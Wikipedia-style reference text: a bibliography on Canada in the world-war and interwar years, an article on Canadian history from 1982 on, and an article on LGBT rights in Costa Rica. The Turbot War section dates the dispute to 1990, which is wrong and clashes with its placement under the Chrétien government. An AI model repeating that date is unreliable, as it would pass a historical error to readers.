Encyclopædia Britannica (12th ed. 1922) comprises the 11th edition plus three new volumes 30-31-32 that cover events since 1911 with very thorough coverage of the war as well as every country and colony. Included also in 13th edition (1926) partly online
full text of vol 30 ABBE to ENGLISH HISTORY online free
Stacey, C. P. Canada and the Age of Conflict: Volume 2: 1921-1948, The Mackenzie King Era (U of Toronto Press, 1981), scholarly history of foreign policy. online
War years
Armstrong, Elizabeth H. The Crisis of Quebec, 1914-1918 (1937)
Barker, Stacey, Krista Cooke, and Molly McCullough, eds Material Traces of War: Stories of Canadian Women and Conflict, 1914—1945 (University of Ottawa Press, 2021).
Broad, Graham. A Small Price to Pay: Consumer Culture on the Canadian Home Front, 1939–45 (2013)
Broadfoot, Barry. Six War Years 1939-1945: Memories of Canadians at Home and Abroad (1974)
Cook, Tim. Warlords: Borden, Mackenzie King, and Canada's World Wars (2012) online
Cook, Tim. "Canada and the Great War." The RUSI Journal (2014) 159#4 pp: 56–64.
Dickson, Paul. A Thoroughly Canadian General: A Biography of General H.D.G. Crerar (2007)
Dunmore, Spencer. Wings for Victory: The Remarkable Story of the British Commonwealth Air Training Plan in Canada (McClelland & Stewart, 1994), World War II.
Granatstein, J. L. Canada's War: The Politics of the Mackenzie King Government, 1939-1945 (1990) online
Granatstein; J. L. The Generals: The Canadian Army's Senior Commanders in the Second World War (University of Calgary Press, 2005) online
Hayes, Geoffrey, Mike Bechthold and Matt Symes. Canada and the Second World War: Essays in Honour of Terry Copp (2014)
Henderson, Jarett, and Jeff Keshen. "Introduction: Canadian Perspectives on the First World War." Histoire sociale/Social history (2014) 47#4 pp: 283–290.
MacKenzie, David, ed. Canada and the First World War (2005), 16 essays by leading scholars
Moore, Christopher. "1914 in 2014: What We Commemorate When We Commemorate the First World War." Canadian Historical Review (2014) 95#3 pp: 427–432.
Pierson, Ruth Roach. 'They're still women after all': the Second World War and Canadian Womanhood (1986)
Perrun, Jody. The Patriotic Consensus: Unity, Morale, and the Second World War in Winnipeg (2014)
Rickard, John. Politics of Command: Lieutenant-General A.G.L. McNaughton and the Canadian Army, 1939-1943 (2009)
Stacey, C. P. Arms, Men and Governments: The War Policies of Canada 1939–1945 (1970), the standard scholarly history of WWII policies; online free
Tennyson, Brian Douglas. Canada's Great War, 1914-1918: How Canada Helped Save the British Empire and Became a North American Nation (2014).
Interwar years
Archibald, W. Peter. "Distress, dissent and alienation: Hamilton workers in the Great Depression." Urban History Review 21.1 (1992): 3-32. online
Armstrong, Alex, and Frank D. Lewis. "Transatlantic wage gaps and the migration decision: Europe-Canada in the 1920s." Cliometrica 11.2 (2017): 153+.
Berton, Pierre. The Great Depression: 1929-1939 (2001) ; popular history; online
Campbell, Lara A. Respectable Citizens: Gender, Family, and Unemployment in Ontario's Great Depression (U of Toronto Press, 2009).
Choudhri, Ehsan U., and Lawrence Schembri. "A tale of two countries and two booms, Canada and the United States in the 1920s and the 2000s: The roles of monetary and financial stability policies." International Review of Economics and Finance Working Paper 44_13, (Rimini Centre for Economic Analysis, 2013) online).
Cotter, Charis. Toronto Between the Wars: Life in the City 1919-1939 (Firefly Books, 2012).
Graham, Sean. As Canadian as Possible: The Canadian Broadcasting Corporation, 1936-1939 (2014).
Guard, Julie. "A mighty power against the cost of living: Canadian housewives organize in the 1930s." International Labor and Working-Class History 77.1 (2010): 27-47. online
Horn, Michiel. The great depression of the 1930s in Canada (Canadian Historical Association, 1984), 22pp overview online
Horn, Michiel. The Dirty Thirties (1972) documentary overview.
Huberman, Michael, and Denise Young. "Hope against hope: strike activity in Canada, 1920–1939." Explorations in Economic History 39.3 (2002): 315-354. online
Light, Beth, and Ruth Roach Pierson, eds. No easy road: Women in Canada 1920s to 1960s (New Hogtown Press, 1990).
Linteau, Paul-André, et al. Quebec since 1930 (James Lorimer & Company, 1991).
Mchenry, Dean E. "Saskatchewan Under CCF Rule." in The Third Force in Canada (U of California Press, 2020 pp. 206-264.
Menkis, Richard, and Harold Troper. More than just games: Canada and the 1936 Olympics (U of Toronto Press, 2015).
Neatby, H. Blair. The Politics of Chaos: Canada in the Thirties (1972) online broad scholarly survey
Nicholas, Jane. The Modern Girl: Feminine Modernities, the Body, and Commodities in the 1920s (University of Toronto Press, 2015).
Safarian, A.E. The Canadian Economy in the Great Depression (1959), a standard history
Sandemose, Aksel. Aksel Sandemose and Canada: a Scandinavian writer's perception of the Canadian Prairies in the 1920s (2005) online
Siegfried, André. Canada (1937) wide ranging survey of politics, economics and society. online
Srigley, Katrina. Breadwinning Daughters: Young Working Women in a Depression-era City, 1929-1939 (U of Toronto Press, 2010).
Strong-Boag, Veronica. "Pulling in double harness or hauling a double load: Women, work and feminism on the Canadian prairie." Journal of Canadian Studies 21.3 (1986): 32-52.
Struthers, James. No Fault of Their Own: Unemployment and the Canadian Welfare State, 1914–1941 (U of Toronto Press, 1983).
Tarr, E. J. "Canada in World Affairs," International Affairs (1937) 16#5 pp. 676–697 in JSTOR
Taschereau, Sylvie, and Yvan Rousseau. "The Hidden Face of Consumption: Extending Credit to the Urban Masses in Montreal (1920s–40s)." Canadian Historical Review 100.4 (2019): 509-539.
Vigod, Bernard L. "The Quebec Government and Social Legislation during the 1930s: A Study in Political Self-Destruction." Journal of Canadian Studies 14.1 (1979): 59-69
Vipond, Mary. "Canadian Nationalism and the Plight of Canadian Magazines in the 1920s." Canadian Historical Review 58.1 (1977): 43-65.
Historiography and memory
Cook, Tim. "Battles of the Imagined Past: Canada's Great War and Memory." Canadian Historical Review (2014) 95#3 pp: 417–426.
Granatstein, J.L. "'What is to be Done?' The Future of Canadian Second World War History" Canadian Military Journal (2011) 11+
Mason, Jody. Writing Unemployment: Worklessness, Mobility, and Citizenship in Twentieth-Century Canadian Literatures (University of Toronto Press, 2017).
Shaw, Amy. "Expanding the Narrative: A First World War with Women, Children, and Grief," Canadian Historical Review (2014) 95#3 pp 398–406. online
External links
Canadian Letters & Images Project
Canadian Newspapers and the Second World War 144,000 newspaper articles
Canada Year Book (CYB) annual 1867-1967
Mugford, Cassandra, and Natalie Fragomeni. "Canada in the 1920s." lesson plans and documents for schools
WarTime Canada
"The Confident Years Canada In The 1920s" by Robert J. Bondy/William C. Mattys, illustrations
1914
20th century in Canada
Interwar period
World Wars
1910s in Canada
1920s in Canada
1930s in Canada
1940s in Canada
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History of Canada (1982–present)
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The history of Canada (1982–present) refers to the period immediately following the Canada Act until the present.
The Canada Act (1982)
In 1982, the Canada Act was passed by the British parliament and granted Royal Assent by Queen Elizabeth II on March 29. The corresponding Constitution Act was passed by the Canadian parliament and granted Royal Assent by the Queen on April 17, thus patriating the Constitution of Canada, and marking one of Trudeau's last major acts before his resignation in 1984. Previously, the constitution has existed only as an act of British parliament, and the documents remained there. Canada had established complete sovereignty as an independent country, with the Queen's role as monarch of Canada separate from her role as the British monarch or the monarch of any of the other Commonwealth realms.
At the same time, the Canadian Charter of Rights and Freedoms was added in place of the previous Canadian Bill of Rights. Some of the negotiations between provincial and federal leaders, specifically those concerning the so-called Notwithstanding Clause, had failed to include Quebec Premier René Lévesque. Resentment over this "stab in the back" led to attempts to veto the constitution, which were ultimately ruled out.
Mulroney and Campbell governments (1984–1993)
Brian Mulroney came to power in the 1984 election, and quickly restored friendlier relations with the United States, which had been strained during Trudeau's time as Prime Minister. Prime Minister Mulroney's major focus was the establishment of free trade with the US, a very controversial topic. Eventually, the Canada-United States Free Trade Agreement was signed in January 1988.
Mulroney also worked to appease the sovereignty movement in Quebec. In 1987, he attempted to draft the Meech Lake Accord, amending the 1982 constitution so that it would be acceptable to Quebec, which had not yet signed it. However, the Meech Lake Accord failed to be ratified by all provinces.
In 1989, the Progressive Conservative government of Prime Minister Mulroney proposed the creation of a national sales tax on goods and services (GST). The proposal was an instant controversy; a large proportion of the Canadian population was irritated and disapproved of the tax. Despite protests from the other parties and even members of Mulroney's own caucus, the GST was introduced on January 1, 1991. The political ramifications of the GST were severe. It contributed to the Mulroney government becoming one of the least popular in Canadian history.
Air India Disaster
On June 23, 1985, Air India Flight 182 exploded while at an altitude of above the Atlantic Ocean, south of Ireland; all 329 on board were killed, of whom 82 were children and 280 were Canadian citizens. Up until September 11, 2001, the Air India bombing was the single deadliest terrorist attack involving aircraft. It is also the largest mass murder in Canadian history.
École Polytechnique massacre
On December 6, 1989, Marc Lépine entered the École Polytechnique in Montreal. He went into an engineering class, separated the men from the women, forced out the men at gunpoint, began to scream about how he hated feminists, and then opened fire on the women. Lépine continued his rampage in other parts of the building, opening fire on other women he encountered. He killed 14 women (13 students and one employee of the university) and injured thirteen others before committing suicide.
The massacre profoundly shocked Canadians. The Quebec government and the Montreal city government declared three days of mourning.
Initial news reports did not note that all 14 victims were women. When Lépine's motive became clear, the event served as a massive spur for the Canadian feminist movement and for action against violence against women. In 1991 Parliament officially designated December 6 as the National Day of Remembrance and Action on Violence Against Women.
Oka Crisis
The Oka Crisis was a land dispute between the Mohawk nation and the town of Oka, Quebec which began on July 11, 1990, and lasted until September 26, 1990. It resulted in three deaths, and would be the first of a number of violent conflicts between Indigenous people and the Canadian Government in the late 20th century.
Gulf War
Canada was one of the first nations to agree to condemn Iraq's 1990 invasion of Kuwait, and promptly agreed to join the US-led coalition. When the UN authorized the full use of force in the 1991 Gulf War, Canada sent three warships, two CF18 fighter squadrons and field hospital with support personnel. This was the first time since the Korean War that its forces had participated in combat operations. Canada suffered no casualties during the conflict, but since its end, many veterans have complained of suffering from Gulf War Syndrome.
Good and Services Tax Implementation
On January 1, 1991, the Goods and Services Tax (GST) legislation became effective. This decision was particularly controversial because Prime Minister Mulroney lacked sufficient votes in the Senate to pass the legislation enabling the tax, as the Senate had a Liberal majority and who refused to support the legislation. Mulroney bypassed the Liberal majority by invoking section 26 of the Constitution Act, 1867 and appointing eight new Senators, creating a Progressive Conservative Senate majority. While originally intended to be set at 9%, the rate was lowered to 7%.
1992 Atlantic Cod Moratorium
In 1992, Prime Minister Brian Mulroney's Fisheries and Oceans Minister John Crosbie declared a moratorium on the northwestern Atlantic cod fishery, which had dominated the Newfoundland and Labrador economy for 500 years and provided sustenance for generations of residents. The moratorium was declared after cod biomass levels dropped to 1% of its historical level. The moratorium resulted in a loss of 35,000 jobs in 400 coastal communities in Newfoundland and Labrador, the largest one day job loss in Canadian history.
Resignation of Mulroney
The failure of the Meech Lake Accord and the animosity towards Prime Minister Brian Mulroney, his government and his Goods and Services Tax (GST) played a significant role in the defeat of the 1992 referendum on the Charlottetown Accord, another package of proposed constitutional amendments. These setbacks, along with the deep recession of the late 1980s and early 1990s forced Mulroney to resign in 1993. He was replaced, albeit only briefly from June to November 1993, by Kim Campbell, Canada's first, and so far only female Prime Minister.
Chrétien governments (1993–2003)
Jean Chrétien became prime minister in the 1993 election, pledging to repeal the Goods and Services Tax, although this proved unfeasible due to the economic circumstances at the time (or, apparently, any time during his prime ministership, showing the new source of income was needed, as the outgoing Progressive Conservative party had claimed). By 1995, however, Canada had eliminated the federal deficit, becoming the only G7 country to have a budget surplus.
Some of the problems faced by the Chrétien government included the debate over the universal health care system, as well as military spending, which Chrétien's government decreased significantly throughout its term. Canada did not play as large a role in United Nations peacekeeping as it once had, and Chrétien faced some criticism for not participating in the 2003 invasion of Iraq, most notably from Opposition Leader Stephen Harper and the United States government. However, with the mounting criticisms about the false pretences for that war and the United States' troubled occupation of Iraq, Chrétien was hailed for keeping the nation out of the affair. The value of the Canadian dollar was greatly weakened during Chrétien's time as Prime Minister, dropping as low at 67 cents; although in 2003, it regained about 20% of its value during the year due to the declining economic situation in the United States—such a dramatic climb that industry leaders worried that the high currency would harm exports.
The Turbot War
The "Turbot War" of 1990 was an international fishing dispute between Canada and the European Union which ended in the Canadian Department of Fisheries and Oceans boarding a Spanish fishing trawler, the Estai, in international waters and arresting its crew. Canada claimed that European Union factory fishing trawlers were illegally overfishing the nose and tail of the Grand Banks, just outside Canada's declared 200 nautical mile (370 km) Exclusive Economic Zone (EEZ).
The Spanish ship's crew had been using a net with a mesh size that was smaller than permitted (larger mesh sizes permit juvenile fish to escape and grow). The 17-story net was shipped to New York City and hung from a crane on the East River where federal Minister of Fisheries and Oceans, Brian Tobin called an international press conference outside the United Nations headquarters. Spain never denied that the net was from the Estai but continued to protest Canada's use of "extra-territorial force". The Spanish government asked the International Court of Justice in The Hague, Netherlands for leave to hear a case claiming Canada had no right to arrest the Estai. However, the court later refused the case.
The 1995 Quebec referendum
In October 1995, Canada faced its second Quebec referendum on sovereignty. The federal Bloc Québécois and the provincial Parti Québécois favoured separation from Canada. Federalists rallied to keep Quebec as part of Canada and claimed the referendum question ("Do you agree that Quebec should become sovereign after having made a formal offer to Canada for a new economic and political partnership within the scope of the bill respecting the future of Quebec and of the agreement signed on June 12, 1995?") was vague and confusing. After large campaigns from both the "'oui" and "non" sides, the referendum was defeated by the narrowest of margins: a victory for those opposed to secession, with 50.58% of the vote.
Creation of Nunavut
In April 1982, a majority of Northwest Territories residents voted in favour of a division of the area, and the federal government gave a conditional agreement seven months later. After a long series of land claim negotiations between the Inuit Tapirisat of Canada and the federal government (begun earlier in 1976), an agreement was reached in September 1992. In June 1993, the Nunavut Land Claims Agreement Act and the Nunavut Act were passed by the Canadian Parliament, and the transition to the new territory of Nunavut was completed on April 1, 1999.
Peacekeeping
After the end of the Cold War, the frequency of international peacekeeping missions and humanitarian interventions grew dramatically and Canadian participation grew along with it. In the 1990s, Canadians were active in United Nations peacekeeping missions in Western Sahara, Cambodia, the former Yugoslavia, Haiti, East Timor and Sierra Leone. During the US-led humanitarian mission to Somalia in 1993, Canadian soldiers tortured a Somali teenager to death, leading to the Somalia Affair. Following an inquiry, the elite Canadian Airborne Regiment was disbanded and the reputation of the Canadian Forces suffered within Canada.
Martin government (2003–2006)
Following the resignation of Prime Minister Chrétien at the end of 2003, Canadian Auditor General Sheila Fraser released a report in February 2004 which revealed that $100 million was mishandled by government officials in the purchasing of advertisements under the Chrétien government. The opposition was quick to make charges of corruption in what become known as the Sponsorship Scandal.
Owing in large part to the scandal, the Liberal Party (by this time, led by Paul Martin) lost its majority in the 2004 election, but was able to form a minority government. The 38th Canadian Parliament successfully passed the Civil Marriage Act, legalizing same-sex marriage in Canada, despite the opposition of the newly formed Conservative Party of Canada. Ultimately, the Liberals fell to a motion of no confidence in November 2005, leading to another election after only two years.
Harper governments (2006–2015)
Stephen Harper's Conservatives were able to secure minority governments in the 2006 and 2008 federal elections. In December 2008, a parliamentary dispute began when the Liberal leader Stéphane Dion and the New Democratic Party leader Jack Layton announced an agreement to form a coalition government with the support of the Bloc Québécois if they were successful in ousting the Conservative minority government in a confidence vote. Governor General Michaëlle Jean, however, granted the Conservatives' request to prorogue parliament until January 26, 2009, thereby avoiding the confidence vote.
The succession of minority governments ended on May 2, 2011 when Stephen Harper and his Conservative party won the 41st Canadian federal election with a majority of seats (166 of a total of 308 seats) over Jack Layton's New Democratic Party (which formed the official opposition, with 103 seats, after winning all but four of the seats formerly held by the Bloc Québécois in Quebec and making gains elsewhere in Canada) while the Liberals under Michael Ignatieff finished third for the first time in that party's history, with 34 seats.
Trudeau governments (2015–present)
In October 2015, Canada's 42nd general federal election was held. The Liberal Party won 39.5% of the popular vote and 184 seats in the House of Commons, with Justin Trudeau elected Prime Minister.
In 2019, allegations that the Trudeau government was putting pressure on then-Attorney General Jody Wilson-Raybould were reported by The Globe and Mail. This became known as the SNC-Lavalin affair. Despite this, Trudeau managed to win the 2019 federal election, though with a minority of seats.
The COVID-19 pandemic was first detected in Canada in late mid-January 2020 and by March, all provinces and territories had declared states of emergency. As of June 2022, Canada has reported 41,000 COVID-19 related deaths, a third highest mortality rate in North America followed by the United States and Mexico.
Trudeau called an early election in 2021 to try and increase the Liberal party's seat share and reach a majority government. Trudeau won the 2021 federal election, albeit maintaining the Liberal party's minority number of seats.
See also
First Nations
History of Canada
Meech Lake Accord
References
Further reading
Blake, Raymond B. ed. Transforming the Nation: Canada and Brian Mulroney (McGill-Queen's University Press), 2007. 456pp;
Chapnick, Adam, and Christopher J. Kukucha, eds. The Harper Era in Canadian Foreign Policy: Parliament, Politics, and Canada's Global Posture (UBC Press, 2016).
Clarke, Harold D., et al. "Like father, like son: Justin Trudeau and valence voting in Canada's 2015 federal election." PS-Political Science and Politics 50.3 (2017): 701–707. online
Eglin, Peter, Stephen Hester (2003). The Montreal massacre: a story of membership categorization analysis, Wilfrid Laurier University Press,
Gidengil, Elisabeth, et al. Dominance and Decline: Making Sense of Recent Canadian Elections. (2012).
Gutstein, Donald. Harperism: How Stephen Harper and his think tank colleagues have transformed Canada (2014).
Hampson, Fen Osler, and James A. Baker. Master of Persuasion: Brian Mulroney's Global Legacy (2018)
Hawes, Michael K., and Christopher John Kirkey, eds. Canadian Foreign Policy in a Unipolar World (Oxford UP, 2017).
Hillmer, Norman and Philippe Lagassé. Justin Trudeau and Canadian Foreign Policy: Canada Among Nations 2017 (2018)
Kukucha, Christopher J. "Neither adapting nor innovating: the limited transformation of Canadian foreign trade policy since 1984." Canadian Foreign Policy Journal (2018): 1-15.
McCormick, James M. "Pivoting toward Asia: Comparing the Canadian and American Policy Shifts." American Review of Canadian Studies 46.4 (2016): 474–495.
McCullough, Colin, and Robert Teigrob, eds. Canada and the United Nations: Legacies, Limits, Prospects (2017).
Pammett, Jon H. and Christopher Dornan. The Canadian Federal Election of 2011 (Toronto: Dundurn Press, 2012).
Pammett, Jon. H. and Christopher Dornan. The Canadian Federal Election of 2015 (2016)
Paris, Roland. "Are Canadians still liberal internationalists? Foreign policy and public opinion in the Harper era." International Journal 69.3 (2014): 274–307. online
Trent, John. Harper's Canada (2015) online. by a leading scholar
Wells, Paul. The Longer I'm Prime Minister: Stephen Harper and Canada 2006 (2014)
External links
Parks Canada
Events of National Historic Significance
National Historic Sites of Canada
Persons of National Historic Significance in Canada
Canada Channel
Today's Canadian Birthdays
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1982
1980s in Canada
1990s in Canada
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https://en.wikipedia.org/wiki/LGBT%20rights%20in%20Costa%20Rica
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LGBT rights in Costa Rica
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Lesbian, gay, bisexual, and transgender (LGBT) rights in Costa Rica have evolved significantly in the past decades. Same-sex sexual relations have been legal since 1971. In January 2018, the Inter-American Court of Human Rights made mandatory the approbation of same-sex marriage, adoption for same-sex couples and the removal of people's sex from all Costa Rican ID cards issued since October 2018. The Costa Rican Government announced that it would apply the rulings in the following months. In August 2018, the Costa Rican Supreme Court ruled against the country's same-sex marriage ban, and gave the Legislative Assembly 18 months to reform the law accordingly, otherwise the ban would be abolished automatically. Same-sex marriage became legal on 26 May 2020.
Human Rights Watch has described Costa Rica as "committ[ed] to [equal] rights" and an "inspiration for other countries [in Central America]". Discrimination on the basis of sexual orientation is prohibited in employment and other areas, and transgender people are permitted to change their legal gender on official identity documents to reflect their gender identity, including driver's licenses, passports, and ID cards.
Legality of same-sex sexual activity
Homosexuality first became classified as a crime during Spanish rule. After gaining independence, it remained a crime until the liberal presidency of Tomás Guardia (1870-76, 1877-82). While it was decriminalized during this era as part of a larger reform of the legal system, homosexuality was still widely seen as an "infamous sin".
In 1971, a universal age of consent was established (15), as was a new law that prohibited "scandalous sodomy" (presumably public, no known convictions are in record) but otherwise maintained the legal status of private homosexual sex acts between consenting adults. Article 382 in the Penal Code that mentioned "scandalous sodomy" was repealed in 2002, alongside many other laws.
Apology
On 1 July 2018, President Carlos Alvarado Quesada issued a public apology to members of the LGBT community for the past persecution and discrimination they faced from the Costa Rican state. The President stated that the state had in the past "promoted and executed persecutions, raids, arbitrary arrests and beatings" towards LGBT people. He also spoke of the Stonewall riots, which led to the modern gay rights movement, and that Costa Rica had legalised homosexuality two years later, in 1971, but that discrimination and violence continued for the following decades.
Recognition of same-sex relationships
In 2006, the Supreme Court rejected a claim that the Constitution of Costa Rica requires the recognition of same-sex marriages. Human rights lawyer Yashin Castrillo Fernandez had sued arguing that certain constitutional provisions relating to equal rights and international law required the legalization of same-sex marriage, but only two of the justices agreed. The majority wrote that at the time the Constitution was approved, "marriage" was understood to be a union between a man and a woman. The court decision did state that the government had the power to enact civil unions.
In 2008, the LGBT rights association, Diversity Movement, persuaded some lawmakers to introduce a civil union bill. Deputies Ana Helena Chacón (then of the Social Christian Unity Party, currently of the Citizens' Action Party) and José Merino (Broad Front) expressed support for the proposed bill stating that "gays and lesbians are no less Costa Rican than the rest of us. We're not talking about marriage or adoption, but about basic civil rights."
In July 2010, the Constitutional Court ordered the TSE (Supreme Elections Tribunal) to halt a proposed referendum on the recognition of same-sex unions. The referendum was supposed to be held on 5 December 2010. The recurso de amparo (appeal) was presented by lawyer Quirós Salazar, alleging that the referendum proposal violated the rights and freedoms of individuals. The petition for a referendum had been organized by the Observatorio de la Familia, a religious conservative group, seeking to stop legislation to recognise civil unions for same-sex couples.
On 1 July 2013, the Legislative Assembly passed legislation that grants benefits of domestic partnerships "without discrimination contrary to human dignity". Progressive lawmakers indicated during debate that the changes would open civil unions to same-sex couples. Conservative lawmakers immediately called upon President Laura Chinchilla to veto the legislation, claiming that they mistakenly voted for the bill. Chinchilla refused to oppose the bill's passage and signed it into law days later. The bill took effect on 8 July 2013. On 10 July 2013, six same-sex couples asked courts to have their relationships recognized as a domestic partnership. A day later, a family court accepted one of the petitions.
In mid-March 2015, two government proposals on civil unions were submitted to the Legislative Assembly. On 19 March 2015, a bill to legalise same-sex marriage was introduced to the Legislative Assembly by Deputy Ligia Elena Fallas Rodríguez from the Broad Front.
2018 Inter-American Court of Human Rights ruling and legalisation
On 9 January 2018, the Inter-American Court of Human Rights ruled that signatory countries to the American Convention on Human Rights are required to allow same-sex couples to marry. Inter-American Court of Human Rights rulings are fully binding in Costa Rica, and take precedence over local laws.
The Costa Rican Government quickly announced that it will abide by the ruling, and legalise same-sex marriage. The Superior Council of Notaries however refused to issue marriage licenses to same-sex couples until the ban was explicitly struck down by the Supreme Court or repealed by the Legislative Assembly. Despite this, one same-sex couple successfully married before a notary in February 2018. The notary in question faced an investigation, but rejected any wrongdoing, stating that he respected international law and took a stand against discrimination when marrying the couple. The marriage was later annulled.
Lawsuits seeking to legalise same-sex marriage went before the Supreme Court of Justice of Costa Rica. In August 2018, the Supreme Court ruled in favour of lifting the same-sex marriage ban, giving the country's legislators 18 months to legalise same-sex marriage. On 14 November, the Court released the full written ruling, which was published in the judicial bulletin on 26 November 2018, setting a deadline for 26 May 2020. As legislators took no steps to legalise same-sex marriage before the deadline, same-sex marriage became legal on 26 May 2020.
Adoption and parenting
Mario Núñez, a member of the Libertarian Movement Party, introduced a bill in the Legislative Assembly in 2007 to ban LGBT people and same-sex couples from adopting or having custody of children. The bill was not successful.
Married same-sex couples have been able to legally adopt since May 2020, in light of the legalisation of same-sex marriage in Costa Rica. In a June 2020 interview, Jorge Urbina Soto, coordinator of the National Children's Institute (PANI, Patronato Nacional de la Infancia) stated that all prospective adoptive parents are evaluated for eligibility irrespective of sexual orientation or sex. The Supreme Electoral Tribunal also clarified that if a married lesbian couple conceives a child through assisted insemination, the non-biological mother will be automatically recognized as the child's legal mother.
Discrimination protections
The Constitution of Costa Rica (inspired in the French doctrine and the Human Rights Declaration) does not explicitly prohibit discrimination on the basis of sexual orientation or gender identity; however, Article 28 states that nobody can be persecuted for their opinions or acts (if they are not against the law) and, Article 33 states that everyone is equal under the law.
Under Article 48 of the 1998 Costa Rican HIV/AIDS law (ley núm. 7771 general sobre el VIH-SIDA), "sexual option" is one of the categories in which discrimination is generally prohibited in areas such as employment. The article reads:
In 2020, the Legislative Assembly passed multiple pieces of legislation to strengthen anti-discrimination laws on the basis of sexual orientation. This amended article 112 of the Penal Code to provide twenty to thirty-five years' imprisonment for hate crimes motivated by the victim(s)' sexual orientation, among other characteristics, article 380 to provide one to three years' imprisonment for "excluding, segregating or distinguishing" a person on account of their sexual orientation in order to limit, restrict or deny their rights and freedoms, and article 386bis to provide three to ten years' imprisonment for inflicting physical or mental pain or suffering, intimidation, coercion or blackmail on the basis of sexual orientation. Legislators also amended law n° 9343 on the labor market to read:
Transgender rights
Prior to 2018, changing the sex assigned at birth was not allowed. Article 51 of the Organic Law of the Supreme Electoral Tribunal and the Civil Registry () includes sex as one of the requirements to register births. Article 2 of the Regulations on Photographs for Identity Documents (Reglamento de Fotografías para la Cédula de Identidad) states: "Every person has the right to have their image and gender identity respected at the moment of taking the photograph that is attached to the identity card."
Since 2013, transgender people have been able to change their legal name on documentation so that it matches their gender identity. Sex reassignment surgery is not a requirement but a judicial order is required.
In 2016, a bill allowing transgender people to legally change their name and gender without the need for surgery or judicial permission was introduced to the Legislative Assembly. In June 2017, the bill advanced to the Human Rights Committee, and the Supreme Electoral Tribunal endorsed the bill, but it was ultimately unsuccessful.
On 14 May 2018, the Supreme Electoral Tribunal (TSE) approved a resolution allowing transgender people to change their name to reflect their gender identity on official ID cards. The decision came in response to the Inter-American Court of Human Rights ruling in January 2018 that all member countries, including Costa Rica, must provide full and equal rights to same-sex couples and citizens whose self-perceived gender is different from their birth gender. The tribunal declared that the process can be accomplished through a simple and free procedure. In addition, the TSE reported that in order to avoid stigmatizing effects, the gender a person is registered with at birth will no longer appear on identity documents.
On 28 June 2018, President Carlos Alvarado Quesada issued an executive decree requiring all state institutions to modify the documents and internal records of transgender people who wish to have their name, photograph or sex changed. The decree applies to passports, driving licenses, ID documents, work permits, university identification, etc. Costa Rican officials announced that this was in accordance with the January 2018 Inter-American Court of Human Rights ruling. In December 2018, President Alvarado signed another executive order extending this right to immigrants.
Additionally, hormone replacement therapy is financed by the state health system.
Blood donation
In August 2007, a ban on gay and bisexual men donating blood was lifted. The drive to lift the ban was led by activist Alberto Cabezas.
Living conditions
LGBT rights in Costa Rica have made significant cultural, social and legal progress since the 1970s. While certain politicians, such as President Óscar Arias, have expressed support for LGBT rights, Costa Ricans tended (and still do to an extent) to be socially conservative when it comes to sexual orientation and gender identity issues, in large part due to the strong influences of the Roman Catholic Church and cultural traditions about machismo.
While homosexuality was technically legal, police harassment and raids of LGBT people and private establishments were formerly commonplace. In 1990, Minister of the Interior, the Police and Public Security Antonio Alvarez Desanti announced that he would not allow foreign women to enter Costa Rica to participate in an "Encuentro", an international meeting of lesbians. He instructed Costa Rican consulates not to grant visas to women travelling unaccompanied by men, warning that all such women would be stopped at the airport. He also informed airlines that if they sold tickets to women travelling alone, or appearing likely to attend the meeting, they would be required to provide for the suspected lesbians' immediate return. When pressed to explain how lesbians could be identified at the airport, he reportedly asserted that women who had short hair, wore pants or traveled alone could be identified as lesbians. Organizers changed the dates and location of the meeting, and it finally took place. Furthermore, the Costa Rican Government refused on multiple occasions to grant legal recognition to political organizations seeking to advance LGBT rights. These policies started to change in the 1990s, when the Supreme Court of Justice of Costa Rica ruled that the Constitution gave LGBT people the right to peaceful assembly, associate, create their own private establishments, as well as their own LGBT rights associations.
In 1993, it came to light that the Universidad Internacional de las Américas had a policy of expelling LGBT students and firing LGBT faculty and staff. When a HIV/AIDS education association, Instituto Latinoamericano de Educacion y Prevencion en Salud, filed a complaint with the Ministry of Education, they were unable to come up with a specific example of the university's policy being enforced, but the Ministry stated that if the policy was enforced it would probably violate Articles 20, 33, and 70 of the Constitution.
In the late 1990s, the Costa Rica Catholic Church organized protest against LGBT tourism, often arguing that it was a cover for sex tourism. In 1998, a planned LGBT pride festival was cancelled out of concern of the possibility of violence. During the initial planning of the event, President Miguel Ángel Rodríguez publicly opposed granting permits for the event to occur. In 1999, San José, Costa Rica's capital city, attempted to close down a gay sauna, but the Supreme Court in 2000 ordered the city to allow the sauna to remain open, stating, "subjective criteria of morality and proper behaviour have no legal basis ... and represent a violation of the fundamental rights granted by our Constitution".
On 27 March 2008, President Oscar Arias Sanchez signed an executive order designating 17 May as the National Day Against Homophobia, committing Costa Rica to join others around the world in working to eradicate bias against gays and lesbians.
In 2008, the Costa Rican Supreme Court ruled against a gay prison inmate receiving conjugal visits from his partner. In October 2011, the Supreme Court reversed its ruling and now allows equality for same-sex couples in receiving conjugal visits.
In 2012, the Citizens' Action Party presented a bill to declare the Legislative Assembly a "homophobia-free space" which later passed by a majority of votes, being opposed only by the Christian parties. On 21 April 2013, Carmen Muñoz (PAC) became the first openly lesbian member of Costa Rica's Legislative Assembly. On 1 May 2018, Enrique Sánchez became the first openly gay congressman in Costa Rica.
On 15 May 2014, the International Day Against Homophobia, Transphobia and Biphobia, President Luis Guillermo Solis placed a rainbow flag in the Presidential House. According to Guillermo Solis, this was "a symbolic act in support of all kinds of diversity, particularly for a group that has been severely discriminated". The act generated mixed reactions and was criticized by religious sectors of the country.
In December 2018, President Carlos Alvarado signed a number of executive decrees relating to housing rights for LGBT people, immigration rights for binational same-sex couples, and funding hormone replacement therapy through the state health system, among others.
In June 2019, President Carlos Alvarado Quesada became the first Costa Rican President to march at the annual gay pride parade in San José, a march that saw the participation of about 100,000 people. The early events in late 2000s saw the participation of about 20 people who received insults from bystanders.
Political party views
Recognition of same-sex unions under a different name than marriage (i.e. as civil unions) is supported by some of the main parties including the National Liberation Party (PLN), the Social Christian Unity (PUSC) and the now-defunct Libertarian Movement (ML). Left-wing party Broad Front was the first main party to support same-sex marriage. In December 2016, the Citizens' Action Party (PAC) officially announced its support of same-sex marriage and adoption. Some figures of PLN also support same-sex marriage, including some lawmakers. PUSC is opposed to same-sex marriage as a whole, while ML's presidential candidate, Otto Guevara, said during the 2014 presidential campaign that although he supports recognition for same-sex couples it is not a priority for him.
Opposition is frontal from a group of Christian parties; the National Restoration Party and its splinter, the New Republic Party, having between them a total of fourteen seats in the Assembly. They generally use filibusters to delay discussions on LGBT rights.
